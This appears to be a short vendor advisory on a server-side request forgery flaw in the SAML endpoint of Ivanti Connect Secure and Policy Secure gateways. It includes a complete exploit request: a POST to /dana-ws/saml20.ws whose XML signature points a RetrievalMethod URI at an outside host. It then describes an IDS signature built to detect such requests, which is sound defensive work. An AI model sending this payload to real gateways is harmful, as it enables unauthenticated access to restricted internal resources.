Application Details
Ivanti Connect Secure (ICS) is a secure access product which offers secure connection between remote users and their organisation’s wider network.
Ivanti Policy Secure (IPS) is a network access control (NAC) solution which provides network access only to authorised and secured users and devices.
Vulnerability
Ivanti Connect Secure (formerly Pulse Secure), Policy Secure, and Neurons for ZTA gateways are vulnerable to server-side request forgery, caused by a flaw in the SAML component.
Identification
An attacker could exploit this vulnerability to access restricted resources without authentication on vulnerable devices.
POST /dana-ws/saml20.ws
PAYLOAD -
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://192.168.86.35:4444/hack%20the%20planet"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to access restricted resources, without authentication.
Coverage
Idappcom have created signature 8024637 along with a traffic file for this vulnerability.
References
Traffic IQ
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